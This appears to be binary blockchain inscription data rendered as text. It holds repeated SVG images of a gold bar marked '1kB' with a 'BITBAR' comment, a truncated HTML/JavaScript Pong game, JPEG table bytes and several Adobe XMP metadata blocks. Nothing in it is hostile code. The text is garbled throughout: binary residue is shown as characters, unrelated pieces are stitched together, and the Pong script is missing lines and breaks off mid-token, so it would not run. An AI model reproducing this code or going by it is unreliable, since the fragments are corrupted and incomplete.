;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
$@$@$@$@$@$@$@$@$@$@$
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
text/html;charset=utf-8
  <title>Basic Pong HTML Game</title>
  <meta charset="UTF-8">
    background: black;
    align-items: center;
    justify-content: center;
<canvas width="750" height="585" id="game"></canvas>
const canvas = document.getElementById('game');
const context = canvas.getContext('2d');
const paddleHeight = grid * 5; // 80M
const maxPaddleY = canvas.height - grid - paddleHeight;
var paddleSpeed = 6;
const leftPaddle = {
  // start in the middle of the game on the left side
  y: canvas.height / 2 - paddleHeight / 2,
  height: paddleHeight,
  // paddle velocity
const rightPaddle = {
  // start in the middle of the game on the right side
  x: canvas.width - grid * 3,
  y: canvas.height / 2 - paddleHeight / 2,
  height: paddleHeight,
  // start in the middle of the game
  x: canvas.width / 2,
  y: canvas.height / 2,
  // keep track of when need to reset the ball position
  // ball velocity (start going to the top-right corner)
// check for collision between two objects using axis-aligned bounding box (AABB)
// @see https://developer.mozilla.org/en-US/docs/Games/Techniques/2D_collision_detectioM
function collides(obj1, obj2) {
  return obj1.x < obj2.x + obj2.width &&
         obj1.x + obj1.width > obj2.x &&
         obj1.y < obj2.y + obj2.height &&
         obj1.y + obj1.height > obj2.y;
  requestAnimationFrame(loop);
  context.clearRect(0,0,canvas.width,canvas.height);
  // move paddles by their velocity
  leftPaddle.y += leftPaddle.dy;
  rightPaddle.y += rightPaddle.dy;
  // prevent paddles from going through walls
  if (leftPaddle.y < grid) {
leftPaddle.y = grid;
  else if (leftPaddle.y > maxPaddleY) {
    leftPaddle.y = maxPaddleY;
  if (rightPaddle.y < grid) {
    rightPaddle.y = grid;
  else if (rightPaddle.y > maxPaddleY) {
    rightPaddle.y = maxPaddleY;
  context.fillStyle = 'white';
  context.fillRect(leftPaddle.x, leftPaddle.y, leftPaddle.width, leftPaddle.height);
  context.fillRect(rightPaddle.x, rightPaddle.y, rightPaddle.width, rightPaddle.height);
  // move ball by its velocity
  ball.y += ball.dy;
  // prevent ball from going through walls by changing its velocity
  if (ball.y < grid) {
  else if (ball.y + grid > canvas.height - grid) {
    ball.y = canvas.height - grid * 2;
  // reset ball if it goes past paddle (but only if we haven't already done so)
  if ( (ball.x < 0 || ball.x > canvas.width) && !ball.resetting) {
    ball.resetting = true;
    // give some time for the player to recovM
er before launching the ball again
    setTimeout(() => {
      ball.resetting = false;
      ball.x = canvas.width / 2;
      ball.y = canvas.height / 2;
  // check to see if ball collides with paddle. if they do change x velocity
  if (collides(ball, leftPaddle)) {
    // move ball next to the paddle otherwise the collision will happen again
    // in the next frame
    ball.x = leftPaddle.x + leftPaddle.width;
  else if (collides(ball, rightPaddle)) {
    // move ball next to the paddle otherwise the collision will happen again
    // in the next frame
    ball.x = rightPaddle.x - ball.width;
  context.fillRect(ball.x, ball.y, ball.width, ball.height);
  context.fillStyle = 'lightgrey';
  context.fillRect(0, 0, canvas.width, grid);
  context.fillRect(0, canvas.height - grid, canvas.width, canvas.height);
  // draw dotted line down the middle
  for (let i = grid; i < canvas.height - grid; i +M
    context.fillRect(canvas.width / 2 - grid / 2, i, grid, grid);
// listen to keyboard events to move the paddles
document.addEventListener('keydown', function(e) {
  if (e.which === 38) {
    rightPaddle.dy = -paddleSpeed;
  else if (e.which === 40) {
    rightPaddle.dy = paddleSpeed;
  if (e.which === 87) {
    leftPaddle.dy = -paddleSpeed;
  else if (e.which === 83) {
    leftPaddle.dy = paddleSMo
// listen to keyboard events to stop the paddle if key is released
document.addEventListener('keyup', function(e) {
  if (e.which === 38 || e.which === 40) {
    rightPaddle.dy = 0;
  if (e.which === 83 || e.which === 87) {
    leftPaddle.dy = 0;
requestAnimationFrame(loop);
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
'#))'#&%,1?5,.;/%&6J7;ACFGF*4MRLDR?EFC
 C-&-CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmpM
.iid:E69D9711ABFD11ED9307E4C235CE5079" xmpMM:DocumentID="xmp.did:E69D9712ABFD11ED9307E4C235CE5079"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E69D970FABFD11ED9307E4C235CE5079" stRef:documentID="xmp.did:E69D9710ABFD11ED9307E4C235CE5079"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(M
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:89BBB6ADA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:89BBB6AEA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:89BBB6ABA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:89BBB6ACA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:2CB3BF15A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:2CB3BF16A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2CB3BF13A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:2CB3BF14A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>S
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:5C8913D3A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:5C8913D4A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5C8913D1A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:5C8913D2A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:74D8594AA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:74D8594BA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:74D85948A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:74D85949A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
